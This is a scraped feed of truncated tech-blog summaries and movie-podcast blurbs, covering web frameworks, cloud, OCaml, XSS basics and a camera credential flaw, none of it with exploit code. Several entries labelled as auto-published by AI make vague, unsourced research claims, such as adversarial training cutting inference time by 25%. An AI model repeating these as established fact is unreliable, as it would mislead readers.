    Sean, Amanda and Van Lathan roast this fall’s underwhelming movie lineup before breaking down Edgar Wright’s ‘The Running Man’—a gloriously messy action spectacle powered by Glen Powell’s charm. Then, they dive into ‘Now You See Me: Now You Don’t,’ praising Rosamund Pike’s evil diamond heiress and guessing how this magic legacy sequel might fare at the box office. Edgar Wright swings by in the final segment to chat about the evolving studio scene, reveal how he crafts his epic action set-pieces and tell the wild story of how Powell landed the lead. It’s a fun mix of insider insight, playful banter and unabashed film geekery. Watch on YouTube  ( 6 min )
    React 19: A Comprehensive Technical Guide with Code Examples
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    Interoperating Open Table Formats on AWS Using Apache XTable (Delta Iceberg)
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    Self-Propelled Missiles: How To Find and Work with High Achievers
    Some call them "Self-propelled missiles" this often refers to individuals who are driven, focused, and capable of achieving their goals independently with little to no external supervision. They are proactive problem-solvers, highly motivated, and thrive in environments where they can take ownership of their tasks. These individuals align themselves with the mission and have a clear sense of purpose, making them invaluable assets in any team or organization. Characteristics of Self-Propelled Missiles: Intrinsic Motivation: They are driven by internal goals, curiosity, or a passion for excellence rather than external rewards. Proactivity: They anticipate challenges, seek opportunities, and take initiative without waiting for instructions. Accountability: They own their successes and failure…  ( 15 min )
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    GroupBy no JavaScript: a forma fácil de indexar e organizar dados Angela Caldas ・ Nov 14 #data #javascript #tutorial  ( 6 min )
    The Two Lists That Define Every Software Project
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    My DevOps Journey: Day 14 - AWS Storage and Global Distribution: The Missing Pieces Every Cloud Engineer Must Master
    Introduction In Day 13, I explored how Amazon S3 changed the way I think about storage - versioning, lifecycle policies, encryption, and automation taught me that data durability is the backbone of cloud systems. But as my sandbox grew into a multi-instance setup, I faced a new reality: S3 alone cannot solve all storage needs. Some data must live with compute. Some must be shared across servers. Some must be queried. Some must be protected. And some must be delivered globally with low latency. This realization pushed me into a deeper AWS chapter: EBS, EFS, FSx, RDS, DynamoDB, Route 53, and CloudFront. Each one filled a gap I didn't even know existed - until the day I faced a real problem. Let me take you through that journey. One day, I rebooted my EC2 instance… and my application f…  ( 8 min )
    Automating .NET Localization: From Code Scan to Auto-Translate to Pull Request
    A cross-platform CLI/TUI for managing .resx files with free AI translation, code scanning, and CI/CD automation You've built a great .NET application. Now you need to support multiple languages. You create your first .resx file, add some keys, and everything works beautifully in English. Then the requests come in: "Can we support French? German? Greek?" You create Resources.fr.resx, copy all the keys, send them to a translator, paste the translations back... and your build breaks. An XML tag got corrupted. A key is missing. A duplicate slipped in. You're now manually diff-ing XML files trying to figure out what went wrong. If you're on Linux or macOS, it's even worse. Visual Studio's ResX Resource Manager? Windows-only. Editing XML by hand? Error-prone and painful. You end up writing bash…  ( 20 min )
    GroupBy no JavaScript: a forma fácil de indexar e organizar dados
    Quantas vezes você preciso usar reduce para arrays de objetos? No meu artigo anterior sobre Indexação de dados para aplicações front-end, explorei exatamente isso, mostrando como organizar estruturas complexas usando reduce e até Map. Mas, convenhamos, reduce tende a deixar o código complexo e difícil de entender... Quer uma boa notícia? Desde o lançamento do ECMAScript 2024 temos uma forma muito mais simples, expressiva e legível para fazer isso, utilizando os métodos Object.groupBy e Map.groupBy. Por que agrupar dados? Agrupar dados é uma forma de indexação: você pega uma lista linear e reorganiza tudo usando uma chave. Esse tipo de organização melhora a performance, além de facilitar buscas e o consumo de dados em interfaces dinâmicas. Antes dessas novas APIs, recorrer ao reduce er…  ( 8 min )
    OpenAI's Aardvark: Revolutionizing Secure Software Development with AI Agents
    OpenAI's Aardvark: A New Era in AI-Powered Security Research and Vulnerability Patching OpenAI has recently introduced Aardvark, an AI agent currently in private beta, signaling a significant advancement in the field of secure software development. Aardvark is engineered to conduct comprehensive security research, with a primary focus on the automated detection and patching of vulnerabilities within source code. Unlike conventional security testing methodologies such as fuzzing, Aardvark leverages a sophisticated combination of reasoning-based analysis and tool-assisted techniques to achieve its goals at scale. The multi-step operational process of Aardvark encompasses: Threat Modeling: Identifying potential security risks. Code Change Scanning: Analyzing modifications for introduced vulnerabilities. Exploitability Validation: Determining if a vulnerability can be practically exploited. Patch Proposal: Suggesting automated fixes for detected issues. OpenAI's commitment extends to the broader open-source community. They plan to offer free scanning services for non-commercial open-source projects, aiming to elevate the overall security posture of the ecosystem. The core value proposition of Aardvark is its ability to enhance security without imposing delays on the software development lifecycle, while simultaneously making specialized security expertise more accessible. To further refine its capabilities, OpenAI is actively seeking partners to participate in the current beta phase. This collaborative effort is key to improving detection accuracy and optimizing workflows. Stelixx #StelixxInsights #IdeaToImpact #AI #BuilderCommunity #AISecurity #OpenSource #SoftwareDevelopment #Cybersecurity #TechInnovation #DevOps  ( 6 min )
    Security news weekly round-up - 14th November 2025
    In cybersecurity, there are no days off. It's either you are dealing with or reading about application security, malware, or any type of threats that can affect us (users of the Internet) while we are online. This is one of the biggest reasons why I bring you this review every week; so you know, or at least, have a glimpse of the threats out there. Researchers surprised that with AI, toxicity is harder to fake than intelligence You cannot fake originality. If you doubt that, this article is proof that you should not. What makes us humans is sometimes our imperfections; today we say something that we're proud of and tomorrow, not so much. Currently, it appears that AI has not nailed that. Here is a quick insight from the article: “Even after calibration, LLM outputs remain clearly disting…  ( 19 min )
    Arithmetic Expansion in Bash: The Little Feature That Makes Your Scripts Cleaner
    If you’ve written Bash for any amount of time, you’ve probably bumped into situations where you needed a quick calculation. Maybe it was a loop counter, maybe file-size math, or maybe you were just trying to add two numbers inside a shell script without summoning half the Unix toolchain. Most of us start with expr, and then eventually escape into awk or bc when things get messy. It works… but it always feels heavier than it needs to be. There’s a simpler tool, always sitting inside the shell, always ready: arithmetic expansion. It’s one of those Bash features that quietly improves the quality of your scripts without making a big deal about it. The Core Idea Bash lets you evaluate math directly inside your script using the syntax: $(( expression )) It sounds small, but the convenience an…  ( 8 min )
    Building Logic Apps Locally with VS Code: HTTP, Blob, Queue & More
    This guide walks through creating and running Logic Apps in Visual Studio Code (VS Code) using different triggers such as HTTP, Blob, Queue, and Service Bus. Launch Visual Studio Code. Open the Command Palette (⇧⌘P / Ctrl+Shift+P) and search for: Azure Logic Apps: Create new logic app workspace… Provide a workspace name and select a template for the new Logic App project. Once the workspace is created, locate the workflow folder in the Explorer pane. Right-click workflow.json → Open Designer. The Logic App Designer opens inside VS Code, allowing you to visually build workflows. Screenshots (Combined):  ( 6 min )
    **Breaking the Data Silos in Federated Learning: The Rise of
    Breaking the Data Silos in Federated Learning: The Rise of Adaptive Federated Learning As the adoption of federated learning (FL) continues to grow, one significant challenge that organizations face is the lack of robustness in learning across diverse data distributions. Traditional FL approaches aim to minimize the impact of non-IID (non-Independent and Identically Distributed) data by using techniques such as client sampling or weighted aggregation. However, these methods often lead to suboptimal results, especially in scenarios with limited available data. A novel approach known as Adaptive Federated Learning (AFL) emerges as a potential solution to this issue. AFL integrates concepts from transfer learning and meta-learning to enable the model to adapt to new data distributions without significant degradation in performance. By leveraging a pre-trained model and updating it based on new data, AFL facilitates faster convergence and increased robustness. The key takeaway is that Adaptive Federated Learning (AFL) offers a more effective solution to the data silo problem in federated learning by enabling models to adapt to diverse data distributions, ultimately resulting in better overall performance and reduced overfitting. This innovation opens up new possibilities for collaborative learning on distributed data and marks a significant step forward in addressing the challenges associated with data heterogeneity in federated settings. Publicado automáticamente con IA/ML.  ( 6 min )
    Sending Emails with Rust, Axum, and Resend: A Complete Guide
    In today's web applications, sending emails is a fundamental requirement - from user verification to password resets, notifications, and marketing campaigns. While Rust is known for its performance and safety, sending emails has traditionally been more complex than in other ecosystems. That's where Resend comes in - a modern email API designed for developers that integrates beautifully with Rust applications. In this tutorial, we'll build a complete Axum web server that can send transactional emails using Resend. By the end, you'll have a production-ready email sending service that you can integrate into your Rust applications. Before we dive in, let's understand why Resend is an excellent choice for Rust developers: Simple API: Clean, RESTful API with excellent documentation TypeScript-fi…  ( 12 min )
    What happens when you type console.log()?
    Hey friends! 👋 Two days late! I'm not nailing this adulting as I should fr. I missed our usual Wednesday hangout, but with just reason ofcourse. I won't bore you with the details, so here’s a quick, light tutorial to make it up. We always write: console.log("Hello world!"); …but have you ever wondered what actually happens when that line runs? Let’s break it down in a simple way. What Happens When You Type console.log()? JavaScript doesn’t magically push text onto the screen. A few things happen behind the scenes, fast enough that we don’t notice. Here’s the journey. 1️⃣ Your code gets parsed Before anything runs, the browser checks your code for: valid syntax correct placement of parentheses missing commas stray characters If all is fine, it creates something called the execution co…  ( 7 min )
    Recent research in AI efficiency has led to a groundbreaking
    Recent research in AI efficiency has led to a groundbreaking discovery that highlights the importance of "adversarial training" in optimizing machine learning models. This technique involves deliberately introducing noise or perturbations into the training data to make models more resilient to real-world uncertainties. A key finding from this research is that models trained with adversarial methods can achieve a 25% reduction in inference time while maintaining equivalent accuracy. This is significant because it can translate to substantial cost savings for organizations that rely heavily on AI-driven services. The practical impact of this research is multifaceted. For instance, self-driving cars can better navigate through complex environments with reduced latency, while natural language processing (NLP) systems can improve their response times to user queries. Moreover, the reduced inference time can lead to increased adoption of AI-powered services in resource-constrained environments, such as IoT devices or edge computing applications. In essence, the adversarial training method not only boosts AI efficiency but also enhances the overall robustness of machine learning models. Publicado automáticamente con IA/ML.  ( 6 min )
    🚀 Deploy Your First CI/CD Website in 10 Minutes Using GitHub Actions + Netlify (Complete Beginner's Guide)
    Ever wished your website would magically update every time you push code to GitHub? Well, that's exactly what CI/CD does! In this tutorial, I'll show you how to deploy a beautiful portfolio website with automatic deployments using GitHub Actions and Netlify. No manual uploads, no clicking "Deploy" buttons — just pure automation magic! ✨ What you'll learn: ✅ Set up a modern portfolio website ✅ Configure GitHub Actions for CI/CD ✅ Auto-deploy to Netlify on every push ✅ Add testing to your pipeline Let's dive in! 🏊‍♂️ First, let's see what we're building: my-portfolio/ ├── .github/ │ └── workflows/ │ └── deploy.yml # GitHub Actions CI/CD ├── index.html # Main website ├── test.html # Test page (optional) ├── test.js # Test scripts ├── netlify.tom…  ( 11 min )
    Recent Breakthrough in Autonomous Underwater Exploration
    Recent Breakthrough in Autonomous Underwater Exploration Imagine an underwater world of unprecedented discovery, where autonomous subs navigate hidden depths, uncovering long-lost shipwrecks and revealing the secrets of our ocean's past. Recent advancements in autonomous systems have brought this vision to life. Researchers from the Woods Hole Oceanographic Institution have successfully deployed an autonomous underwater vehicle (AUV) equipped with AI-driven navigation and sonar mapping. This AUV, dubbed "Argo," is capable of autonomously exploring and mapping the seafloor at unprecedented depths and resolutions. One concrete detail that sets Argo apart is its advanced sonar system, which can collect over 100,000 high-resolution images per hour. This allows researchers to map underwater terrain with unprecedented detail, detecting subtle features and patterns that would be impossible for human observers to identify. With Argo and its AI-powered navigation, scientists can now explore the ocean with greater speed, reliability, and precision than ever before. This breakthrough has far-reaching implications for fields like marine archaeology, oceanography, and environmental conservation, opening a new era of discovery in the underwater world. Publicado automáticamente con IA/ML.  ( 6 min )
    Beyond Page One: Building a Highly Robust SEO Lead Generation Agent with Python and SerpApi🤖
    Introduction As a SEO consultant or agency owner, finding actionable leads is a constant hustle. The obvious Page 1 opportunities are highly competitive so the real opportunity is on Google Page 2 and beyond, where basic SEO mistakes by local businesses are common. This post describes how I created a production-ready Python agent (depending on your definition) that: Scrapes targeted SERP pages (Page 2+) Performs instant on-page audits (H1, local NAP, etc.) Generates a personalized sales pitch for every failure The project focuses on three pillars of production code: Efficiency, Precision, and Robustness. Scaling Google searches is the primary challenge. I used SerpApi to avoid scraping blocks and programmatically target long-tail local queries defined in serp_config.py (a combination of …  ( 8 min )
    Critical Vulnerability in v380 Cameras: How Plaintext Credentials Exposed Millions of Devices
    In 2023, while researching IoT device security, I discovered a critical vulnerability in one of the world's most popular IP camera brands. v380 cameras are used by millions of people—in apartments, offices, stores, and children's rooms. They're affordable, easy to set up, and work through a convenient mobile app. The problem turned out to be both trivial and frightening: user credentials were transmitted over the network in plain text. Anyone who knew a camera's ID could connect to an unprotected relay server, intercept the owner's login and password, gain full access to the video stream, and even broadcast pre-recorded video instead of the live feed—just like in classic heist movies. This article is a technical breakdown of the vulnerability, detailed analysis of the exploit code, and a s…  ( 21 min )
    Stop Storing Configs With Your Code
    Configuration management is one of those problems that seems simple until you've lived through the chaos of production incidents caused by misconfigured deployments, secrets leaked in Git history, or the dreaded "it works on my machine" syndrome. Over the years, I've seen teams struggle with the same pattern: storing configuration files alongside their application code. While this approach feels intuitive and convenient, it creates more problems than it solves. When configuration files are stored and deployed with your application components, you inherit a host of issues: Security Nightmares: Sensitive data like database credentials, API keys, and service endpoints often end up in config files. Even when teams use .gitignore, secrets have a way of accidentally making it into version contro…  ( 10 min )
    The Developer’s Guide to Earning Passive Income Through SaaS
    In the fast-paced world of tech, one of the most exciting ways for developers to earn passive income is through Software-as-a-Service (SaaS). Imagine building a product that works for you 24/7—without you having to be involved in the day-to-day operations. This isn’t just a pipe dream. With the right strategy, developing a SaaS product can not only provide financial freedom but also allow you to sleep soundly at night, knowing your software is working for you. In this guide, we’ll walk through the journey of creating your own SaaS product from the ground up. Along the way, we’ll explore how this business model can lead to a sustainable income stream that allows you to earn money while you sleep. Whether you’re a developer with a great idea or just starting out in the world of SaaS, this gu…  ( 10 min )
    Text or Pixels? It Takes Half: On the Token Efficiency of Visual Text Inputs inMultimodal LLMs
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    Learning Xahau: Automating Hook Execution with Cron Transactions
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    Time Boxing (Bite-size Article)
    Introduction I didn’t have much time today, so this will be a shorter article, but recently I had the opportunity to learn about a productivity method called Time Boxing, and it caught my interest. I’d like to jot down a few thoughts as a kind of memo. I usually manage my tasks using a concept called TaskChute, but I recently came across a method called Time Boxing, which—while similar in some ways (at least in my opinion)—is a bit different. Time Boxing is a method where you decide in advance how much time you will spend on a task, and you strictly stick to that time limit. For example, you might decide, “I’ll focus only on creating the presentation for Project A for 30 minutes,” and set a timer. When the time’s up, you stop, even if you haven’t finished. This helps prevent tasks from …  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Revisited by The Ringer Movies Bill Simmons, Sean Fennessey, and Van Lathan dive back into Brian De Palma’s twist-y thriller Snake Eyes—complete with Nic Cage’s scene-stealing antics, Gary Sinise’s undercover bravado, and Carla Gugino’s cool composure—to determine once and for all who really rules the cinematic sewer. Brought to you by producers Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo (and proudly sponsored by PayPal), this episode is your go-to for laughs, hot takes, and deep movie nerdery. Don’t forget to subscribe to The Ringer channels and keep up with all their pop-culture dissections! Watch on YouTube  ( 6 min )
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    The comprehensive theoretical knowledge spanning risk management, psychological frameworks, due diligence processes, and strategic approaches proves meaningless without practical tools enabling efficient execution of optimal strategies. The participant attempting to manually track GeorgePlaysClashRoyale holder counts through blockchain explorers, calculate VampCatCoin liquidity ratios with spreadsheets, and monitor Token Metrics Live community sentiment through endless Discord scrolling faces overwhelming information management burden that proper tooling eliminates. Understanding the specific platforms, software applications, browser extensions, analytics services, and community resources that transform abstract knowledge into executable workflows separates effective practitioners from tho…  ( 13 min )
    8 Top Resume Builders for 2025
    Crafting a professional resume shouldn’t cost you money. These resume builders help you create ATS-friendly resumes that land interviews, with options ranging from completely free to freemium models. Applyre Resume Builder Applyre uses AI to analyze job descriptions in real-time and automatically optimize your resume with the right keywords and formatting. The platform eliminates ATS filtering issues by tailoring each resume to specific job postings in under 60 seconds. Pricing: Free Free features: AI-powered resume builder, job description analysis, and ATS optimization Best for: Job seekers who want automated resume customization for each application. Resume Genius Resume Genius provides AI-powered suggestions that fill in work experience bullet points automatically, saving you time…  ( 7 min )
    extn — A Modern CLI Framework for Building Chrome Extensions (with HMR + Live Preview)
    I’m excited to introduce extn — a TypeScript-first CLI framework that makes building Chrome extensions fast, modern, and effortless. If you’ve ever been stuck in the cycle of manually reloading chrome://extensions after every tiny file change… this tool is for you. 👉 GitHub Repo: https://github.com/razukc/extn Building browser extensions is often painful — outdated boilerplate, complex manifest setup, and no good local dev environment. extn fixes this by giving you: ⚡ Hot Module Replacement (HMR) for instant updates 🧪 Live Preview — automatically opens Chrome with your extension loaded 📦 Templates for Vanilla TS, React TS, and Vue TS 🏗️ Production-ready scaffolding 🔒 Manifest v3 validation 🛠️ Vite-powered builds 🧹 No more manual reloading Everything works out of the box. Ge…  ( 7 min )
    How API-First Development is Changing Full-Stack Web Development
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    Custom Select Villa Selection Animated
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    The Bug: How a Missing Database Index Cost Us Real Money
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    Cofounders - Brazil
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    The GPT 5.1 API introduces a series of architectural and functional upgrades that noticeably change how LLM based systems can be designed and scaled. Instead of incremental model tuning, this release focuses on structural improvements in reasoning, context handling, function reliability, latency and data efficiency. Below is a direct technical breakdown of the new capabilities and what they unlock when integrating GPT 5.1 into production grade environments. GPT 5.1 moves to a more stable multi layer reasoning engine. The model reduces divergence across long reasoning paths and minimises the branching errors that previously caused drifting interpretations. Key technical gains include deterministic behaviour in multi step logical tasks stronger internal consistency across long chains of thou…  ( 13 min )
    n8n Is Secretly Becoming the #1 Automation Tool
    Developers in 2025 are quietly shifting toward n8n, and it’s quickly becoming one of the most powerful automation tools in the AI + workflow ecosystem. Here’s why it’s getting so much attention 👇 ⚡ 1. AI Automation Made Simple n8n makes AI integration ridiculously easy. Use it to build: AI email writers AI code reviewers AI content generators AI alerts and summaries AI data extractors And the best part? No backend required. ⚡ 2. Replaces Multiple Dev Tools With n8n you can automate tasks that usually need separate scripts or services: cron jobs GitHub/CI notifications Slack/Telegram bots API polling web scraping database sync report generation cloud alerts One workflow. One place. ⚡ 3. Open Source + Self-Host n8n is free, flexible, and fully open-source. Docker VPS Cloud Local machine Kubernetes No vendor lock-in. ⚡ 4. Built for Developers (Not Just No-Code Users) Unlike many automation tools, n8n is developer-first: Write custom JavaScript Use API calls directly Add conditions, loops, branches Process and transform data Create powerful backend logic visually It’s the perfect balance of no-code + pro-code. *⚡ Example Workflow I Use AI Code Reviewer Watches GitHub pull requests Sends the diff to an AI model AI generates a clean review n8n posts that review to Slack/GitHub This single workflow saves me hours every week. 🎯 The Main Purpose n8n gives developers real automation superpowers: faster workflows fewer repetitive tasks instant AI integration lightweight backend logic and huge productivity boosts It’s becoming the central brain for modern automation. 💬 What’s Your Opinion? I want to hear from you: Do you think n8n is the future of developer automation? Share your thoughts — I’m curious what you think 👇  ( 7 min )
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    When working with SQLite, you often need to decide how to store data efficiently. One common scenario is storing Base64-encoded content, such as images, files, or other binary data. SQLite gives you two main options: storing it as a TEXT or as a BLOB. Understanding the differences can help you make the right choice for performance, storage, and convenience. Base64 is a way to represent binary data as text. It uses only ASCII characters, which means you can store it in a text field without worrying about special encoding. However, it is larger than the original binary by roughly 33 percent. SQLite supports two relevant storage types: TEXT: For storing strings. It works perfectly for Base64 since Base64 is text. BLOB: For storing raw binary data. SQLite stores it as-is without any conversion…  ( 7 min )
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    This week, I focused on setting up a complete GitHub Actions CI workflow and writing tests for a codebase I did not originally create. Both tasks helped me understand code quality, consistency, and the importance of automated testing in a project. To begin with, I created a ci.yml file that runs on push and pull request to the main branch. The workflow has two major jobs. The first is the test job, which runs on a matrix of Ubuntu, Windows, and macOS to ensure cross-platform reliability. It checks out the repository, sets up Python 3.12 with pip caching, installs all necessary dependencies, runs linting and formatting checks using ruff, performs type checking with mypy(static type checker for Python), and finally executes the full test suite with coverage reporting. The second job is a bui…  ( 7 min )
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    Extending the Nano Banana image generation to also be responsible for fun unique profile images for users who register through a path without providing their own profile pic.
    A post by Ben Halpern  ( 6 min )
    Managing Infrastructure and Environments in SDLC
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    Angular 21 Developer Guide: AI Tools, Signal Forms, ARIA, and Build Optimizations
    Release date: November 20, 2025. Angular 21 isn’t a cosmetic bump—it’s a practical leap: AI‑powered dev tooling, a reimagined forms architecture (Signal Forms), a first‑class ARIA package, and faster, smaller builds. Who is this for? Frontend engineers, Angular teams, and tech leads planning upgrades or greenfield apps who want concrete code and production‑ready patterns. Accessibility with Angular ARIA DX Improvements: HttpClient by Default, NgStyle + New Control Flow Build System & Bundle Optimizations Migration Guide & Upgrade Checklist Reference Snippets FAQ Conclusion AI dev workflow: Angular MCP Server connects your app and tooling to multiple AI providers (Gemini, OpenAI, Anthropic) through a single, secure interface—ideal for SSR and server tools. Signal Forms: a signal‑based fo…  ( 10 min )
    Pakistan’s Cloud Community Is Rising — My Experience at AWS Student Community Day Islamabad ☁✨
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    Smart Pointers in C++: Managing Memory Safely
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    How to Play Subway Surfers on PC: Full 2025 Setup Guide
    Subway Surfers has remained one of the most popular endless runner games for Here is the easiest way to play Subway Surfers on any Windows computer: BlueStacks, GameLoop, and LDPlayer all work well. They allow you to run Open Play Store inside your emulator and search for “Subway Surfers”. Most players use: Arrow keys for movement Spacebar for hoverboard Shift / E for quick board activation 4. Enable Performance Mode Inside the emulator settings: Switch to “High Performance Mode” Turn on Hardware Acceleration Enable high FPS (60–120 FPS) This reduces lag and helps you survive faster speeds. Bigger screen = better reaction time No overheating issues like phones Long runs (3M+, 5M+, 10M+) are easier Keyboard controls are more accurate More stable FPS compared to old mobile devices Full Step-by-Step Guide I’ve written a detailed PC guide with screenshots and exact settings here: More gaming performance guides coming soon!  ( 6 min )
    How to Connect PostgreSQL to Power BI Using Local PostgreSQL and Aiven.
    Microsoft Power BI is a leading Business Intelligence (BI) tool, essential for visualizing data and deriving actionable insights. PostgreSQL is a robust, open-source object-relational database. Connecting these two allows you to transform your operational data into powerful, interactive reports. Before starting, ensure you have: Power BI Desktop installed on your machine. A running PostgreSQL instance (local or Aiven). The necessary credentials: Server/Host Name, Database Name, Port (default is 5432), Username, and Password. The PostgreSQL ODBC Driver (psqlODBC) installed on your machine, as it helps establish stable connections, particularly for secure or advanced configurations. Connecting to a local (on-premises) PostgreSQL server uses the native Power BI connector and is generally str…  ( 8 min )
    Build Your Own AI-Powered Resume Builder Using Next.js, React 19 & Gemini AI (Full Source Code)
    Modern job seekers expect resume tools to be smart, fast, ATS-friendly, and AI-assisted. So I decided to create a fully packaged, production-ready AI Resume Builder using: Next.js 15 React 19 App Router & Server Components Prisma with PostgreSQL Gemini AI (Text & Vision) for resume parsing ShadCN UI Tailwind CSS Clerk Authentication Full ATS scoring engine PDF/DOCX file processing Multi-template resume generator And now I’ve released the entire codebase as a downloadable, production-ready project: 👉 https://localaimaster.com/products/ai-resume-builder-nextjs 💡 What This Project Includes This isn’t a demo. Here’s what’s inside: ✔ 1. AI-Powered Resume Parsing (PDF & DOCX) Using Gemini Vision, the system can extract: Experience Skills Education Certifications Achievements Suggested improvem…  ( 7 min )
    SAVANT: Semantic Analysis with Vision-Augmented Anomaly deTection
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    Getting Started with the DEV Community: Your Coding Hub
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    util
    -- util.sql SET SERVEROUTPUT ON SET ECHO OFF SET FEEDBACK OFF WHENEVER SQLERROR EXIT SQL.SQLCODE -- Error checker (silent unless errors exist) CREATE OR REPLACE PROCEDURE CHECK_ERRORS(p_name VARCHAR2, p_type VARCHAR2) AS v_cnt INTEGER; BEGIN SELECT COUNT(*) INTO v_cnt FROM user_errors WHERE name = UPPER(p_name) AND type = UPPER(p_type); IF v_cnt > 0 THEN FOR r IN ( SELECT line, position, text FROM user_errors WHERE name = UPPER(p_name) AND type = UPPER(p_type) ORDER BY sequence ) LOOP DBMS_OUTPUT.PUT_LINE('Line ' || r.line || ': ' || r.text); END LOOP; RAISE_APPLICATION_ERROR(-20001, 'Compilation failed.'); END IF; END; / SHOW ERRORS PROCEDURE CHECK_ERRORS -------------------------------------------------------------------------------- -- FUNCTION example -------------------------------------------------------------------------------- CREATE OR REPLACE FUNCTION HELLO_FN RETURN VARCHAR2 AS BEGIN RETURN 'Hello!'; END; / ALTER FUNCTION HELLO_FN COMPILE; EXEC CHECK_ERRORS('HELLO_FN', 'FUNCTION'); -------------------------------------------------------------------------------- -- PROCEDURE example -------------------------------------------------------------------------------- CREATE OR REPLACE PROCEDURE DO_SOMETHING AS BEGIN DBMS_OUTPUT.PUT_LINE('OK'); END; / ALTER PROCEDURE DO_SOMETHING COMPILE; EXEC CHECK_ERRORS('DO_SOMETHING', 'PROCEDURE');  ( 6 min )
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    Sonic-PI
    I recently attended GOTO conference in Copenhagen (https://gotocph.com/2025, you can find the slides for some of the presentations there) and would like to share some of the interesting topics. This was something very new to me to here about. Sonic-PI is the application which is crazy marriage of coding and art which also serves educational purposes. This was created by Sam Aaron. Not only was he talking about the technical details but he also gave a short performance on the stage playing various music by executing the code live... He is very positive person with much energy and by this software he brings the example you can be coding not only for business. I had a chance to talk with him for a while and I very much like and support this idea. I think it is great it's possible to make a step towards art from technical IT world and create something so unusual. For me it is a new angle I can look at the music creation and performance. I said this was the tool for music but it is also actively used for teaching programming. Children want to emit sounds and so they need to learn the syntax - the melody verifies if the code is correct. This is very encouraging for the kids to try new code blocks to achieve new musical results and so they can improve their coding skills fast. You need to try it yourself and especially your children if they want to learn coding and create some nice music at the same time: https://sonic-pi.net Sam is currently also working on another version of the idea to have coding platform for music and visuals using Erlang stack. This is work in progress yet but the results will be very inspiring I am sure.  ( 7 min )
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    Cross-Site Scripting (XSS) is one of the most common security vulnerabilities in web applications. Despite its simplicity, XSS can have serious consequences, allowing attackers to execute malicious scripts in users’ browsers. For developers and pentesters alike, understanding XSS is essential for building secure web applications and identifying vulnerabilities. What is XSS? XSS occurs when an attacker manages to inject malicious code, usually JavaScript, into a web page that other users visit. When the browser executes this code, the attacker can steal cookies, session tokens, or even manipulate the content of the page Stored XSS (Persistent XSS): Reflected XSS (Non-Persistent XSS): DOM-based XSS: How XSS Works? At its core, XSS exploits the trust a browser has in the content served by a website. For example, consider a simple JavaScript snippet: Why Developers Should Care XSS isn’t just an academic problem—it affects real users: Stealing session cookies can allow attackers to impersonate users. Malicious scripts can redirect users to phishing pages. Defaced content can damage your site’s reputation. Understanding XSS helps developers write safer code and empowers pentesters to identify vulnerabilities before attackers do.  ( 6 min )
    ⚙️ Automate Tasks Easily with npm Pre and Post Scripts
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    Tired of the OCaml setup rabbit hole? In 5 minutes, you’ll have a fully working OCaml project. Just copy, paste, run. Global Setup Install OCaml Create a New Project Create a new project Create a Switch Configure Git References Start by installing Opam, the OCaml package manager, which is similar to npm in JavaScript. It manages packages and compiler versions. brew install opam sudo apt-get install opam opam init -y eval $(opam env) Consider adding eval $(opam env) command to your .bashrc or .zshrc file to automate this process. Install tools to assist you: opam install ocaml-lsp-server odoc ocamlformat utop ocaml-lsp-server: editor integrations (VS Code, Neovim, etc.) odoc: documentation generator ocamlformat: automatic code formatter utop: improved OCaml REPL Dune is OCaml's def…  ( 8 min )
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    OPEN I tried several fixes (like turning off the integrated GPU and other suggestions from Google/YouTube), but nothing worked. Eventually, I decided to reset my PC. However, after reinstalling Flutter, the problem still remains. Now I also can’t debug using Windows. I get this error: CMake Error at CMakeLists.txt:3 (project): I'm not sure what to do next. Any help would be greatly appreciated. My previous setup: flutter 3.35.0 , visual studio 2022 current setup : flutter 3.38.0 , visual studio 2026  ( 6 min )
    deploying a express.js + react web-app on vercel
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    How to Build a Video Streaming App? A Technical Guide for Founders & Developers
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    Before You Can Make $150k+, You Must First Challenge the Beliefs Holding You Back
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    Knowledge Graph Extraction in Pydantic
    When building production LLM applications, one of the biggest challenges is ensuring reliable, parseable outputs. While LLMs are powerful, their free-form text generation can be difficult to integrate into structured data pipelines. This is where static typing and structured output extraction become game-changers. In this article, we'll explore how Pydantic's type system bridges the gap between LLM outputs and structured data, and how knowledge graph concepts provide a framework for thinking about entity extraction at scale. Whether you're building document processing pipelines, chatbots, or data extraction workflows, understanding these patterns will help you build more robust LLM applications. The foundation of reliable LLM data extraction is defining clear schemas. Pydantic provides an …  ( 9 min )
    OCaml/Dune Modules & Libraries (Like JS but Better)
    Tired of OCaml setup hell? In 5 minutes, you’ll have: A working project Just copy, paste, and run. Index Use Modules and Libraries Create a Module Create a dune File Register a Library Create an Interface File Add a Dependency Subscribe the Module in your Project Install the Module Add It to the dune File Testing Add Alcotest to your Project Dependencies Install Alcotest Register Alcotest Let's add some modules, interface files, tests, and more! In OCaml the concept of module is similar to the one in Python or JavaScript where every file is considered an independent unit of work with its own namespace. Create a calc.ml file in the lib/ folder and add the following functions: (* lib/calc.ml *) let add x y = x + y let sub x y = x - y In Dune it's not enough to create …  ( 10 min )
    Learning React.....
    It’s been more than 1 month now and I learned so many new things..... While learning i understand how code flow works, how to write cleaner structure, and how to think while building a feature.
    Stop npm i-ing Blind: How I Catch Malicious Packages Before They Hit Production
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    What is JavaScript?
    JavaScript is a programming language used to make web pages interactive. HTML builds the content, CSS designs it, and JavaScript brings it to life. If a website reacts, moves, shows messages, validates forms, or updates without reloading, that’s JavaScript doing the work. Example: Html: Original Text Change JavaScript: function changeText() { document.getElementById("msg").innerText = "Text changed!"; } Advantages: - Runs Directly in the Browser - Makes Websites Interactive - Fast Execution - Huge Ecosystem - Works on Both Frontend and Backend With Node.js, you can build servers, APIs, and full apps using just JavaScript.  ( 6 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    Ringer Movies Rewinds Brian De Palma’s Snake Eyes Bill Simmons, Sean Fennessey, and Van Lathan slap on their detective hats to rewatch Brian De Palma’s 1998 thriller Snake Eyes, dissecting Nic Cage’s over-the-top heroics, Gary Sinise’s corrupt cop swagger, and Carla Gugino’s standout charm—earnest banter guaranteed, crowned “kings of the sewer.” Produced by Craig Horlbeck, Chia Hao Tat, and Eduardo Ocampo, this episode is sponsored by PayPal’s holiday Pay in 4 deal (5% cash back through 12/31). Subscribe to The Ringer on YouTube and your favorite podcast app to keep the movie party rolling. Watch on YouTube  ( 6 min )
    Ringer Movies: What Happened With the Fall Movie Slate?
